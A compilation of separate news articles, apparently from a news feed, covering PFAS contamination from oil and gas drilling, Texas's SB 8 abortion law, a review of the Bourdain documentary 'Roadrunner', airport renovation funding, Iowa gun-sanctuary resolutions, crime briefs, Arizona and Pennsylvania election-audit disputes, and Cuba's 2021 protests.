There are thousands of PFAS chemicals  all man-made compounds of carbon and fluorine  and they are toxic even in minuscule concentrations; as little as one cup in 8 million gallons of water is enough to make the water toxic.

Of the thousands of PFAS compounds that have been developed, only some have been studied for their health impacts, but so far, theyve all raised alarms. PFOA  the PFAS chemical that contaminated the drinking water around a DuPont Teflon plant in West Virginia and inspired the 2019 film Dark Waters  is linked to cancers, thyroid disease, high cholesterol, pre-eclampsia, and ulcerative colitis. In an EPA assessment of the two most common PFAS chemicals, studies found connections to birth defects, accelerated puberty, and damage to the liver and immune system. One study even found that infants who are exposed to PFAS have a weakened response to vaccines.

The dilemma, though, is that PFAS are really useful chemicals, said Linda Birnbaum, a toxicologist and former director of the National Institute of Environmental Health Sciences, in a press conference yesterday. Theyre exceptionally slippery, and good at repelling water and oil  which is why, in the decades after their invention in the 1930s, they were used in everything from stain-resistant carpeting to fire-fighting foam to the plastic lining inside popcorn bags. And while the EPA documents dont indicate how or where the chemicals were used in the process of oil and gas extraction, a 2008 paper written by a DuPont researcher found that the exceptional water-repelling characteristics of chemicals like PFAS showed promise for use in oil and gas extraction.

But for all of their usefulness, the chemical bonds in the man-made PFAS are impossible to break down, so the chemicals accumulate in our environment and in our bodies, earning them the nickname forever chemicals. One 2007 study found that more than 98 percent of Americans have them in their bloodstream. Parents are even able to pass PFAS to their children through breastfeeding.

For that reason, the EPA worked with manufacturers to phase out the use of PFAS chemicals, and they havent been produced in the U.S. since 2012. But its still possible to use existing stores of the chemicals, or to import products that use them, a workaround that the oil and gas industry appeared to use. The report found that oil companies started importing the chemicals for commercial use in November 2011, shortly after they were approved by the EPA, and continued until at least 2018.

In the report, Physicians for Social Responsibility urges the EPA to issue a moratorium on the use of PFAS in the oil and gas industry, track where theyve been used, and begin health assessments on the communities and wildlife that surround the wells.

They also insist that the government hold the oil and gas industry responsible for removing PFAS from the environment, but that wont be easy. Because PFAS compounds dont break down, once its in the environment, theres no easy way to get rid of it, said Birnbaum.

The leading cleanup method requires activated charcoal, similar to what you find in a Brita filter, except the quantities have to be much, much greater, explained Horwitt, the studys author. And then once that carbon fills up with PFAS  and perhaps other contaminants  youd have to dispose of it somewhere. And landfills can be reluctant to accept this waste.

Even if a system of removal and disposal was accessible to oil and gas companies, its still unlikely that the oil and gas industry will ultimately pay for this damage. Theyve already shirked responsibility for millions of orphaned wells across the country  which could cost as much as $300 billion to clean up. Not to mention that fracking and drilling companies have been declaring bankruptcy at an unprecedented pace. By the time the government could get around to holding them responsible, those companies are likely to be gone, says Silverio Caggiano, a hazardous waste expert who contributed to the report. Its going to be the taxpayer that gets caught with a bill for cleaning this all up.
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Starting September 1st, the state of Texas is offering a $10,000 bounty to any private citizen willing to sue another person who, in some way, helped make an abortion possible. The potential list of targets for such lawsuits is endless: from a pregnant persons doctor and nurses, a therapist or pastor who offered moral support, a partner who helped pay for the procedure, a friend (even an Uber driver) who drove the patient to the clinic. Under the new law  which a group of doctors, clergy and clinic owners sued to block Tuesday  any or all of them could be taken to court by a stranger with no connection to the patient whatsoever and forced to pay a minimum of $10,000 each, plus legal fees, for aiding or abetting an abortion.

The law, which would apply to abortions that took place as early as two weeks after a missed period, or six weeks gestation, before many people even realize they are pregnant, is a bold esclation in anti-abortion activists war on reproductive rights. Since 2018, activists around the country have stepped up efforts to pass increasingly draconian restrictions on abortion, in the hopes that one of the laws will be considered by a Supreme Court majority sympathetic to their cause, who will in turn weaken  or strike down entirely  current federal protections for abortion. (The Supreme Court has previously ruled that states cannot restrict abortion before viability, or the point at which a fetus might survive outside the womb, typically between 24 and 28 weeks.)

When Gov. Greg Abbott signed SB 8 into law in June, Texas became the ninth state since 2018 to add a so-called heartbeat bill to the books  a law banning abortion after an embryo has begun exhibiting electrical activity in the area where the heart will later form. The first two such bans, passed in Georgia and Iowa in 2018 and 2019 respectively, were struck down, while more recent laws  in Alabama, Kentucky, Louisiana, Mississippi, Missouri, and Ohio  have been temporarily blocked by federal courts.

This time, anti-choice activists tried a new tactic with the explicit intention of avoiding the kind of lawsuits that prevented previous six-week abortion bans from going into effect. The legislative director for Texas largest anti-abortion group acknowledged that other bans had failed because opponents could just sue government officials to stop them. The method employed by anti-abortion activists in other states was not working in federal court, John Seago, legislative director for Texas Right to Life, said in May during hearings on the law, so the thinking was: Lets try a different route.

The different route in this case is to instill fear in a pregnant womans doctors, faith leaders, friends, family members and acquaintances that they could be held financially responsible for her medical choice  or even just the legal fees it would take to defend themselves in court. Abortion is legal in every state in this country, Elisabeth Smith, chief counsel for policy and advocacy at the Center for Reproductive Rights, tells Rolling Stone. Access to medical care is a fundamental right under the federal constitution. There will be lots of defenses available to someone who is sued. But no one wants to be dragged into a Texas courtroom and have to spend the time and the resources to find representation and to go through a civil proceeding.

Texas lawyers are concerned about the volume of frivolous lawsuits that could result from the law. During hearings on SB 8, hundreds of lawyers signed a letter expressing concern that such lawsuits  in addition to infringing on a womans constitutional right to privacy  would overwhelm the court system. (They also raised questions about whether SB 8 is even legal under Texas constitution, which holds that filing a lawsuit is available only to a person for an injury done [to] him, meaning they have to have been personally impacted by the case.)

Reverend Dr. Daniel Kanter has been a senior minister at First Unitarian Church in Dallas, Texas for the past 20 years. He worries that religious leaders like himself could be targeted under the law for counseling someone who is considering terminating a pregnancy. Kanter was among a number of doctors, clinics and clergy who joined with lawyers at the Center for Reproductive Rights, the ACLU, and Planned Parenthood on Tuesday to file the lawsuit in Austin seeking to stop the ban from going into effect.

Ive been in so many types of conversations about abortion. Many of them have been about whether or not to have the procedure, Kanter said on a call with reporters on Tuesday. Some of them had been with anti-abortion advocates who needed the procedure for medical reasons. Ive talked with families who decided to have abortions and many who have decided not to have abortions. When they leave my office, they make their own decisions with my support and with my love. The thing to realize here is that the consequences of this law not only leave us with thousands of undesired, difficult pregnancies, it also leaves us with few options about what we can do to support decision making.

Texas new law, he said, is the first real attempt by the state to interfere with my ability to be fully present to all the people who need a private conversation with a faith leader.

Whole Womans Health and Whole Womans Health Alliance, a clinic in Texas, is another plaintiff in the suit filed on Tuesday. Our staff teams and our physicians are terrified. The teams are on edge. Theyre very worried, CEO Amy Hagstrom Miller told reporters. The ultrasonographer that I spent yesterday with was telling me that already 80 percent of the patients shes been serving in the last month have been asking while theyre in the clinic on the day of their abortion if its legal. Can you imagine what that feels like as a patient and as a staff person on the ground in Texas? I am furious.

Whole Womans Health was the plaintiff in the Supreme Courts last landmark decision on abortion; in 2016, the court ruled that anti-abortion activists attempts to bury doctors and clinics in medically unnecessary regulations constituted an undue burden on women seeking abortions. Yet again we have to go back into the courts to plead with them to protect the people of Texas from extremists who hijacked the state legislature, said Hagstrom Miller on Tuesday.

With the heartbeat bills passed in other states, abortion advocates would sue the governor and the attorney general to stop them. In this case, because of the laws tactic of deputizing private citizens for enforcement, the suit filed Tuesday had to include a broad spectrum of defendants. The suit was filed against all non-federal judges in the state of Texas with jurisdiction over civil actions and the authority to enforce S.B. 8, as well as every county clerk with jurisdiction over civil suits, and the executive directors of the Texas Medical Board, the Texas Board of Nursing, the Texas Board of Pharmacy, the executive commissioner of the Texas Health and Human Services Commission, and Ken Paxton, the attorney general of Texas.

This is a new strategy that Texas has tried here, Marc Hearron, lead attorney on the case and senior counsel at the Center for Reproductive Rights, said on Tuesday. But there is precedent for bringing civil rights claims against judges. For example, the Supreme Court has held that the federal civil rights laws are available to vindicate anyones constitutional rights, whether that means that it has to be a lawsuit brought against executive branch officials or judges.

It remains to be seen whether the lawsuit will successfully block the law from going into effect as scheduled in September. Everyone knows its unconstitutional, Smith says. The Texas legislature knows that, Governor Abbott knows that we know it, people who are hostile to abortion rights know it. But what the state of Texas is trying to do is escape review of their unconstitutional law by, basically, trying to force abortion rights proponents into this conversation about procedure and not about the content of the law itself.

There are signals, already visible in the special session of the Texas legislature convened last week, that even the hard-right Texas legislature may not expect SB 8 to actually go into effect.

One of the bills the legislature is going to consider is a bill that would limit the provision of medication abortion down from the FDA limit of 70 days to 49 days gestation, Smith says. In other words: The legislature just passed a law to limit abortion to less than six weeks, yet is convening to discuss further limitations on medication abortion. I think the only way that the legislature would come together to look at further limiting abortion is because they all understand, at the end of the day, [SB 8] is unconstitutional, and lawsuits under it will very likely be unsuccessful.
There are many startling moments in Roadrunner, Morgan Nevilles rich and moving documentary about the singular culinary storyteller Anthony Bourdain, who tragically took his life at the age of 61.

Heres just one that sticks out: a quick scene with a therapist, in Argentina. As Bourdain lies on her couch, cameras rolling for an episode of his show, he describes some frightening psychological urges he has. She asks him if he wants to change, and to feel differently. He replies: I suspect its too late.

We never learn here why Bourdain wanted to film what seems a genuine therapy session. But it fits in perfectly with the portrait Neville paints of a man who couldnt resist being anything but painfully honest, and painfully public, even when it took him down some dark paths.

Its also an example of just how much material Neville had to work with. Between Bourdains own recordings and voiceovers, copious footage  much never seen  from production of his TV travelogues, and countless home movies and photos, it comes to feel like Bourdain himself is narrating his life story. And its hard to shake the feeling he already knows what happens, especially when he quips early on: Heres a little pre-emptive truth-telling: theres no happy ending.

Neville dispenses quickly with the early stuff  Bourdain dropping out of college, washing dishes in Cape Cod  even his years as chef at Manhattans Brasserie Les Halles. It really starts at age 44, when Kitchen Confidential, his wickedly funny memoir about the underbelly of the restaurant world, catapults him into stardom and a life as a globetrotting raconteur bold enough to swallow a still-beating cobra heart or a sheeps testicle.

The transformation is dizzying: People are shouting to Bourdain in the streets. Hes sitting down with Letterman, and with Oprah. Theyre saying Brad Pitt wants to play him. It was like he died and was reborn, says his brother, Chris Bourdain.

In footage from his various shows, which culminated with Parts Unknown on CNN, we accompany Bourdain to an idyllic lunch in Provence with chef-buddy Eric Ripert, or to Vietnam, where he guzzles that cobra heart. Or to Haiti, where an episode on local cuisine leads to a chaotic scene of hungry youths seeking food. In a 2006 episode of No Reservations shot in Beirut, violence flares up between Israel and Hezbollah, and the crew is left to lounge by a pool for days while conflict rages. I had begun to believe the dinner table was the great leveler, Bourdain says. Now Im not so sure.

A casualty of Bourdains outsized fame is his first marriage. Nancy Putkoski doesnt speak to Neville, but Bourdains second wife does -- Ottavia Busia, with whom he shared a daughter. Her tearful regret at not having kept a closer eye on him once their marriage was over is one of the more moving moments of the film, as is the frank commentary -- loving, sad and angry all at once -- from celebrity chef David Chang. The tears flow copiously in this film, a credit to Nevilles vibrant filmmaking. Chang also has one of the catchiest lines about his friend: It was almost never about food. It was about Tony learning to be a better person.

The first two-thirds are fittingly exhilarating. Its hard not to be jealous of a man who freely admitted he had the best job in the world: If Im not happy, its a failure of imagination, he once told The New Yorker magazine.

But if imagination was all it took to be happy, this film makes clear, Bourdain would likely be with us today.

The final act of Roadrunner is infused with a feeling of dread. Bourdain had become involved with Italian actor Asia Argento, a key accuser of Harvey Weinstein. She directed an episode of his Parts Unknown in Hong Kong, and we literally watch Bourdain falling in love. We also hear how devastated he was when a tabloid published pictures of her with another man, shortly before his death during filming in eastern France.

Its clear that some of Bourdains co-workers felt the relationship with Argento sent Bourdain into a tailspin that led to his death  even though one of them points out, rightly of course, that Tony did this. Its unfortunate that the film does not include Argentos own voice here.

But one cannot fault Roadrunner for not coming up with clear answers. There rarely are clear answers, anyway, and this film seems to want to be about a life, not a death. A fascinating life, parts of which will forever remain unknown.

Roadrunner, a Focus Features release, has been rated R by the Motion Picture Association of America for language throughout. Running time: 118 minutes. Three stars out of four.

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MPAA definition of R: Restricted. Under 17 requires parent or adult guardian.
The Jack Brooks Regional Airport will be getting some much-needed renovations thanks to nearly $18 million it received from the CARES Act, which was passed last spring.

Six projects utilizing some $330,000 of the funds were outlined during a Jefferson County Commissioners Court meeting earlier this month. The commissioners had to postpone the vote to ensure the county followed the federally-mandated process of finding contractors.

Jefferson County Purchasing Agent Deb Clark did not give an timeline for when the items would be back on the agenda.

But once approved, the proposed projects are expected to fund some of the first steps needed to rehabilitate the aging airport, said Brooks Regional Airport manager Alex Rupp said.

READ ALSO: 5 Houston tourist traps that are actually worth your time

The grant also covers the airports payroll and operational costs, and Rupp expects the rest of the airports CARES money will be use for future construction.

Like other buildings owned by the county, the airport has a list of projects that need to be done at any given time. However, the grants and other money coming often leave some of those projects unfunded.

This grants really allowed us to take care of projects weve had planned in the past and help offset some operating costs, he said.

The projects largely focus on keeping the airfield open and safe, which takes on particular importance when its used during a hurricane or other flooding event.

With that priority in mind, the groundwork step with the lowest cost could be most important.

The development of a fee estimate for airport drainage analysis and design project comes in at nearly $4,000.

Rupp said the airfields drainage system is some 70 years old, and in that time, its seen failures.

PAR FOR THE COURSE: Elon Musk's Texas home is literally a tiny little box

Over time, the ground  wet and dry  contracts and separates and swells and it disturbs the underground drainage pipes, he said. We think thats a contributing factor. We also think maybe some of the underground drainage pipes have failed, broke, eroded, whatever, due to age.

As part of the larger drainage system rehab project, Rupp said the airport is also looking at regrading the airfield so water drains faster.

(Next) would be improving the land-side drainage, Rupp said. Thats basically everything you see out front from the tower to the highway. The idea there would be to improve drainage but plan for overall development of that airport frontage. 

Rupp said these projects, particularly rehabbing the drainage systems, will be necessary for the airports longevity and will allow the airport to aid in emergency situations like natural disasters.

Anything that we can do to improve drainage helps keep the airfield open during inclement weather, for instance like Harvey and Imelda, he said. That allows assets to come in without interruption  survey aircraft, search and rescue, bringing in humanitarian aid, the National Guard, you name it.

The longer the airfield stays open and safe, the better response Southeast Texas and Jefferson County will have in an emergency situation, Rupp said.

But the rehabilitation goes beyond drainage systems.

The county also is proposing to use the remaining nearly $325,000 to design five other projects, including the construction of a new electrical vault, rehabilitating parts of the runway and improving the airport terminals air conditioning system, among others.

The project to update plans for a new electrical vault to house various airport wiring carries a proposed cost of $95,850, according to the Commissioners Court meeting agenda.

Basically, all the airfield electrical systems, all the wiring comes to a vault located in the Jerry Ware terminal, Rupp said. Theres limited space in there. The new vault will be a standalone building hardened to withstand storms, (with) raised elevation, in case of flooding.

The new vault will house the airports electrical systems with all new equipment inside, including current regulators and a standalone generator, Rupp said.

And with the additional vault space, he says it will be easier for crews to diagnose future repairs than having to get through a building that was built in the 1950s.

The county also is proposing to use nearly $117,000 to design repairs and replacements to concrete panels on the runway and fuel farm.

We have some pavement we need to repair around our tank farm, Rupp said. Basically, just replacing concrete.

He said the airport is working on a pavement maintenance management plan that brings in an expert to evaluate the pavement, determine the useful life and make recommendations on short- and long-term management practices that would increase the life.

The airport also is looking at land-side pavement repairs, he said. The design for that work on the Airport Terminal Service Road comes in at just over $35,000.

 those are the roads coming into the terminal and looking at rehabbing the general aviation terminal, specifically to better accommodate emergency operations, Rupp said.

Finally, the county is proposing the use of just over $77,000 to design improvements to the HVAC system.

Were making some repairs to the main terminal air conditioning system, replacing an old tiller, and some air handling units, Rupp said. Its air conditioning  a huge necessity down here, especially with the high heat and humidity.

At the same time, the airport also is working on its master plan, which identifies capital improvements to be undertaken within the next 20 years, and welcoming back passengers as the number of new COVID-19 cases confirmed each day continues to fall.

Were seeing just an overall return to normalcy, Rupp said. As an airport, we want to have the airlines that are here have as many passengers as they can possibly to maximize capabilities. That's our top priority.

The money the airport received was only a portion of CARES Act money allocated to Jefferson County.

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DES MOINES, Iowa (AP)  Officials have voted to declare two Iowa counties as Second Amendment sanctuaries where any laws hindering gun rights cannot be enforced, joining similar efforts across the country and coming even as Iowa has significantly loosened firearms regulations.

Republican supervisors in Jasper County unanimously approved a resolution Tuesday and Republican supervisors in Hardin County did the same Wednesday, becoming the first Iowa counties to implement such measures.

Elsewhere in the U.S., at least 1,200 local governments have declared themselves sanctuaries insulated from state and federal gun laws since 2018, when high-profile mass shootings prompted calls for stronger regulations. An ordinance passed in Columbia County, Oregon, last year is the first to face a legal challenge over whether it can be enforced.

The Iowa resolutions say the county supervisors want to ensure that citizens' rights are protected against legislation on the state or federal level.

The Jasper County resolution says federal and state lawmakers cannot be solely trusted to protect people's Second Amendment rights and that any legislation or order from a federal or state legislature or executive that infringes on constitutional gun rights shall not be enforced by an individual employed by the Jasper County Sheriffs office or any other employee of Jasper County.

Lets hope it is never needed, said Supervisor Doug Cupples.

Supervisor Brandon Talsma said the Second Amendment has come under attack again and again and we wanted to make it clear that Jasper County will defend its citizens civil liberties.

Iowa is among several Republican-led states that have passed laws allowing for carrying of guns without requirement of a permit. The law that took effect July 1 also eliminates a requirement that people pass background checks to obtain permits to purchase handguns in sales outside of those completed by federally licensed dealers.

Data from the Iowa Department of Public Health shows that gun deaths have been surging in the state before passage of the new law.

A record 353 Iowa residents died from gunshot wounds in 2020, including 263 suicides and 85 homicides, public health data shows. The shooting deaths represent a 23% increase from Iowas previous high of 287 in 2019, including an 80% jump in homicides.

In Hardin County, about 65 miles northeast of Des Moines, seven people spoke on the issue Wednesday morning. Four men supported the measure, with one talking about his fear the federal government will take away his rights and another arguing it will limit how far the government can go.

Two women opposed the resolution.

This is just a piece of political theater throwing red meat to a certain set of voters who you want to keep their attention so they vote because they're the least likely group to vote, Julie Duhn said. Do any of you supervisors actually believe there will be legislation to take everybodys guns? Its ludicrous.

The fear of regulation eroding gun rights comes as Democrats in Congress are making a new push to enact the first major new gun control laws in more than two decades  starting with stricter background checks. However, passage appears unlikely because the legislation would likely need bipartisan support.

President Joe Biden has called for Congress to strengthen gun laws, including requiring the background checks on all gun sales and banning assault weapons.

A group advocating for stricter gun control said local politicians and law enforcement officials don't get to decide which laws they enforce.

"Our leaders should be focusing on common sense gun safety protections that will keep our communities safe, instead of refusing to enforce public safety laws that actually make a difference, said Traci Kennedy, chapter leader of the Iowa chapter of Moms Demand Action.

___

This story is updated to correct the spelling of the last name of the Hardin County woman quoted to Duhn instead of Dunn.
CHICAGO (AP)  Five people were rushed to area hospitals after being shot Wednesday afternoon on Chicago's South Side, about 12 hours after another shooting elsewhere in the city wounded five other people, police said.

Tom Ahern, a spokesman for the Chicago Police Department, said he did not know the conditions of the victims who were shot just after noon. He also did not yet know the ages of the victims, but he said he did not believe that any of them were children. No arrests have been made, he said.
COPENHAGEN, Denmark (AP)  A 22-year-old Afghan asylum-seeker was convicted Wednesday of attempted murder and sentenced to life imprisonment for a knife attack that injured seven people in a southern Swedish town earlier this year.

Tamin Sultani was shot by police and arrested after an 18-minute rampage on March 3. Investigators who dismissed terrorism as a motive charged him with seven cases of attempted murder.

The Eksjo District Court said Sultani will be deported after serving his time. He has said he wanted to go back to Afghanistan.

The life sentence, which doesn't have a fixed time, is the most severe punishment in Sweden.

Sultani attacked seven men with a 22-centimeter (8.7-inch) blade in the small town of Vetlanda, about 190 kilometers (118 miles) southeast of Goteborg, Swedens second-largest city.

Three of the victims survived life-threatening injuries, two were seriously injured, two others were moderately injured and one individual was slightly hurt. Police initially said the attacker used an ax but it later turned out that Sultani was armed with a knife.

In its verdict, the district court said Sultani used a kitchen knife that he had picked up at his apartment because he was so upset" about something blasphemous done to his god "and wanted to kill that person.

Nothing has emerged that that Tamim Sultani in advance had any plan to injure or attempt to kill the seven plaintiffs in the case, the court said, adding he didnt know the people he attacked.

However, the district court found that there was a concrete danger that those attacked would die and that Sultani in all cases had directed violence against peoples vital organs.

The court said it appears that he had avoided some schoolgirls" he met, noting Sultani had told that he understood the teenage girls laughed at him but "would be afraid of the knife, so he hid it in his sleeve.

Sultani sought asylum in Sweden in 2016. During the trial, he said he hadnt managed to get a job and only managed to work in various internships. When his temporary residence permit expired, he was no longer allowed to study or work.

Sultani claimed he twice attempted to commit suicide a week before the knife attacks,

It was as if the brain had stopped working. I felt very bad mentally, he told the court. A court-ordered psychiatric evaluation concluded that the man wasn't mentally disturbed at the time of the attack and was fit for a prison sentence.

During the trial in a high-security courtroom, he confessed to three of the attacks and said he doesn't remember the other four attacks but believes the victims' accounts.

In November 2020, he had applied for a renewal of his temporary staying permit and the immigration authorities haven't yet taken a decision.
LAS VEGAS (AP)  A U.S. Air Force master sergeant assigned to Nellis Air Force Base has been sentenced to 32 months in prison after pleading guilty to drug and weapons charges.

The U.S. Attorney's Office for Nevada said 41-year-old Michael Reimers of Las Vegas was sentenced Tuesday after pleading guilty last April to one count each of distribution of a controlled substance and engaging in the business of dealing in firearms without a license.
PHOENIX (AP)  Arizona's largest county approved nearly $3 million Wednesday for new vote-counting machines to replace those used in the 2020 election, which were given to legislative Republicans for a partisan review of the results.

The GOP-controlled Maricopa County Board of Supervisors said the machines were compromised because they were in the control of firms not accredited to handle election equipment. Secretary of State Katie Hobbs, a Democrat, had said she would seek to decertify the machines if the county planned to use them again.

State Senate Republicans used their subpoena power to take control of Maricopa County's voting machines after former President Donald Trump claimed without evidence that the 2020 election was rigged against him in Arizona and other battleground states.

The Senate hired Cyber Ninjas, a small cybersecurity consulting firm led by a Trump supporter who has spread conspiracy theories backing Trump's false claims of fraud, to recount all 2.1 million ballots and forensically review voting machines, servers and other data. The firm had no prior experience in elections, and experts in election administration say it's not following reliable procedures.

The state Senate scheduled a hearing Thursday with Cyber Ninjas CEO Doug Logan and others involved in the audit. Senate President Karen Fann said they won't release findings but will discuss items they need more documentation on. The auditors have complained that the county has not turned over administrative passwords to vote-counting machines or internet routers from the elections office.

County officials say they don't have administrative passwords and handing over routers would pose a security risk.

There is no constitutional mechanism for President Joe Biden's victory to be overturned, but Trump and many of his supporters hope the Arizona audit will support his fraud claims and lead to similar reviews elsewhere.

The county had leased vote-counting machines from Dominion Voting Systems Inc. through 2022. It agreed to pay $2.8 million for Dominion to supply new machines for the 2022 midterm elections and smaller local contests. That includes 385 precinct tabulators, which count ballots as they're turned in at polling places; nine central tabulators, which primarily count early ballots; two servers; and other workstations.

The county's has no choice but to buy new machines because its lease agreement requires it to return the machines in working order, said Steve Chucri, a Republican supervisor. It can't return decertified machines, he said.

County officials said they will still seek bids as planned for a new vote-counting contract after 2022.

Fann, the Senate president, signed a contract agreeing to cover any costs to the county from giving up the machines. County officials hinted at billing the Senate but did not explicitly address it.

I think it is fundamentally unfair for the taxpayers of Maricopa County to be responsible for footing this bill, said Bill Gates, a Republican supervisor.

In the partisan audit, the hand-count of ballots, which focused on tallying votes in the races for president and U.S. Senate, has wrapped up. Auditors this week plan to use machines to recount the number of ballots that were turned in. Senate President Karen Fann has said the Cyber Ninjas tally of votes did not match the county's official total, but she has not said how far apart they are.

Meanwhile, scrutiny of the audit is intensifying. The U.S. House Oversight and Reform Committee sent a letter Wednesday to Logan, the Cyber Ninjas CEO, demanding materials including financial records and communications with Trump, several of his allies and prominent supporters of stop the steal conspiracy theories.

The Committee is seeking to determine whether the privately funded audit conducted by your company in Arizona protects the right to vote or is instead an effort to promote baseless conspiracy theories, undermine confidence in Americas elections, and reverse the result of a free and fair election for partisan gain, wrote Democratic Reps. Carolyn Maloney of New York, the committee chairwoman, and Jamie Raskin of Maryland, chairman of the Subcommittee on Civil Rights and Civil Liberties.

___

Associated Press writer Bob Christie contributed.
BRENTWOOD, N.H. (AP)  A New Hampshire man has been sentenced to 60 to 120 years in prison Wednesday for 14 counts of aggravated sexual assault of three children.

Prosecutors believe Ian Boudreau's sentence is the longest for aggravated felonious sexual assault ever handed down in Rockingham County, the Portsmouth Herald reported.
HARRISBURG, Pa. (AP)  One of three counties targeted by a Pennsylvania state lawmaker for an Arizona-style forensic investigation of the states 2020 presidential election sought by former President Donald Trump will not allow third-party access to its voting machines.

The three commissioners in rural Republican-controlled Tioga County announced the decision Tuesday, six days after receiving a sweeping, five-page request from Republican state Sen. Doug Mastriano for access to documents, information and equipment.

The county's solicitor, Christopher Gabriel, said Wednesday that the thrust of Mastriano's request  under the threat of a subpoena  involves access to Tioga County's voting machines.

That could mean losing those machines, Gabriel said.

We cant be in a position where we dont have the election machines, because we have to run the next election, these are extremely expensive machines and our position is we need to follow the direction that (Acting Secretary of State Veronica Degraffenreid) has given us, Gabriel said.

Degraffenreid, Democratic Gov. Tom Wolf's top election official, told counties last week that the state would decertify any election equipment that is subject to any such third-party access, rendering it useless in an election.

Degraffenreid cited the U.S. Department of Homeland Security's designation of election equipment as critical infrastructure, and said third-party access  certainly of the kind envisioned by Mastriano  would jeopardize the security and integrity of the systems.

The commissioners' chairman, Roger Bunn, a Republican, said the county had audited the voting machines and systems used in the 2020 presidential election, according to requirements in state law, and had found no significant problems.

Trump won in Tioga County by three-to-one over Democrat Joe Biden, but Biden won the battleground state by just over 80,000 votes, or about 1 percentage point, prompting a torrent of baseless falsehoods from Trump about massive voter fraud.

No county election board, prosecutor or state official has raised a concern over any sort of widespread election fraud in Novembers election in Pennsylvania.

Courts have thrown out Republican claims about fraud or illegalities, and critics say an election audit is duplicative, given the audits already carried out by county and the state.

In any case, Mastriano's information request does not remotely resemble a post-election audit plan that is recognized by the election administration community, said Edward Perez, global director of technology development at the California-based OSET Institute.

In his letter last week, Mastriano asks counties to respond by July 31 with a plan to comply with his requests, and warned that the Senate committee he chairs, the Intergovernmental Operations Committee, could vote to issue a subpoena if a county does not adhere to it.

Gabriel said Tioga County had not yet formally responded to Mastriano.

In a statement Wednesday, Mastriano's office did not address Tioga County's decision, but said Wolf's Department of State is being used to intimidate county officials and obstruct a Senate-led forensic investigation.

Speaking during an appearance in the studio of WEEO-FM in Chambersburg on Wednesday, Mastriano also appeared to blame voting-machine manufacturers for threatening counties against letting third parties inspect their equipment.

We cant just have voting machines here that only one company that manufactures (them) can have access to," Mastriano said. They should be able to be opened up and reviewed obviously by companies that the legislative body wants to hire, not that the governor wants to bring in.

Two other counties targeted by Mastriano  Republican-controlled York County and the heavily Democratic city of Philadelphia  have declined comment on how they plan to respond.

Mastriano, who has talked of Trump asking him to run for governor, has helped spread Trump's conspiracy theories about widespread fraud in the election, and traveled to Arizona in June to see the audit there firsthand.

Mastriano's massive undertaking could cost millions of dollars, and major questions are unanswered, such as who will do the work and where such a vast amount of documents and equipment would be stored.

Senate Republican leaders officials have been silent about Mastriano's actions, or whether they would contribute money to it. The Senate last year reported $66 million in its reserve account.

Private organizations are raising money for an audit, Mastriano is counting on private funding, at least in part.

Mastriano told WEEO-FM radio Wednesday that he had not decided how to fund the audit, but said he is recommending three strategies, all of which involve a blend of public and private financing.

___

Follow Marc Levy on Twitter at www.twitter.com/timelywriter.
(The Conversation is an independent and nonprofit source of news, analysis and commentary from academic experts.)

Catesby Holmes, The Conversation

(THE CONVERSATION) Street protests erupted across Cuba on July 11, 2021, with crowds of Cubans demonstrating against food scarcity, medicine shortages and economic misery in their island nation. Some demanded freedom and the end of dictatorship  anti-government sentiments that were soon echoed in the United States by Cuban-Americans and politicians, including President Joe Biden.

In a televised address, Cuban President Miguel Diaz-Canel blamed the spontaneous demonstrations  by far the largest mass protests in decades  on U.S. interference and threatened a battle in the streets. Protesters say hundreds were arrested.

These four stories describe current conditions in Cuba and the recent history behind this rare public outpouring of anger.

2018: Cuba gets a new president

The Communist Party has run Cuba since the 1959 Cuban Revolution.

For five decades, its leader was the fiery, anti-American revolutionary Fidel Castro. Castro led the country until 2008, when he fell sick and was succeeded by his more subdued younger brother, Raul.

The younger Castro, also a Cuban Revolution fighter, maintained the his partys total grip on politics but liberalized Cubas Soviet-style economy, recognizing private property and allowing Cubans to run small businesses. He also cultivated a less antagonistic relationship with the United States during the Obama administration.

Raul Castros April 2018 retirement marked the end of the revolutionary era. But the selection of Diaz-Canel as president in April 2018 seemed unlikely to herald the beginning of a new Cuba.

I dont expect any drastic changes in direction from Diaz-Canel  at least, not right away, wrote the American University Cuba analyst William LeoGrande shortly after Diaz-Canel took office.

Diaz-Canel is a seasoned Communist Party insider and Raul Castros chosen successor. Castro also remained in Cubas government until 2021 as first secretary of the Communist Party, arguably a post more powerful than the presidency, says LeoGrande.

Diaz-Canel came into office facing serious problems, including a weak economy and bad relations with the U.S. under then-President Donald Trump.

He also faced a new challenge: the internet, which had just become widely available to everyday Cubans. Access to online information and social media makes it harder for Diaz-Canel to repress dissent as effectively as for his predecessors.

Internet expansion on the Communist island has produced a growing chorus of domestic critics, LeoGrande wrote.

2019: Cuba gets a new constitution

Those critics gained more leeway to show their discontent in February 2019, when the Cuban National Assembly passed a new Cuban Constitution.

It included provisions that would substantially expand social, political and economic rights in Cuba, wrote the Cuban-American scholar Maria Isabel Alfonso.

One of those rights was freedom of assembly.

Previously, Cubans had the right to meet, demonstrate and associate, for licit and peaceful purposes, explained Alfonso, but only as part of a so-called organizacion de masa  the Cuban term for state-run groups.

The new constitution removes the organizaciones de masa restriction, theoretically giving people and civil society groups more freedom to gather.

But Alfonso cautioned that the government could still crack down on independent organizations  especially if those groups are political in nature.

In her Feburary 2019 article, she quotes the Cuban blogger Jose Gabriel Barrenechea saying that, in Cuba, spontaneous gatherings are not seen positively and are always perceived to be the product of a foreign power.

Among other changes, Cubas 2019 Constitution also gave constitutional legitimacy to Raul Castros economic reforms and limited Cuban presidents to two five-year terms.

2020: Artists revolt

Cubas new Constitution reflects how Diaz-Canel has largely followed his mentor Raul Castros path of gradually giving Cubans greater economic and social freedoms but resisting pressure for democratic reform.

One result of Castros 2009 move to legalize small businesses, for example, was a flourishing of activist art.

As galleries and theaters opened across Cuba, enabling artists to show their work in nongovernment-run cultural spaces, dissident artists took advantage of this newfound freedom to advance their political demands, says Alfonso.

In 2018, the Diaz-Canel government issued a decree imposing restrictions on independent artistic production and cultural venues, angering many artists. Then, in November 2020, the government raided the home of an artist who openly opposed the governments decree.

Cuban artists and intellectuals rebelled. Days after the raid, about 300 of them convened via WhatsApp to stage a protest outside the Culture Ministry. They demanded negotiations with the government to restore freedom of expression.

The negotiations would end soon after they began, followed by a major crackdown on dissent, wrote Alfonso. But the size, duration and public nature of the artists opposition were unprecedented.

The artists uprising was, she says, a sign of how resistance in Cuba has grown and changed.

2021: The Castro era ends

Raul Castro stepped down from his top post in the Communist Party in April 2021, leaving behind a changed Cuba.

It is no longer a Soviet-backed ideological challenger  or nuclear threat  to the United States. Bereft of international communist patrons and financially isolated from the world by the strict, decades-old U.S. embargo, Cuba is ailing.

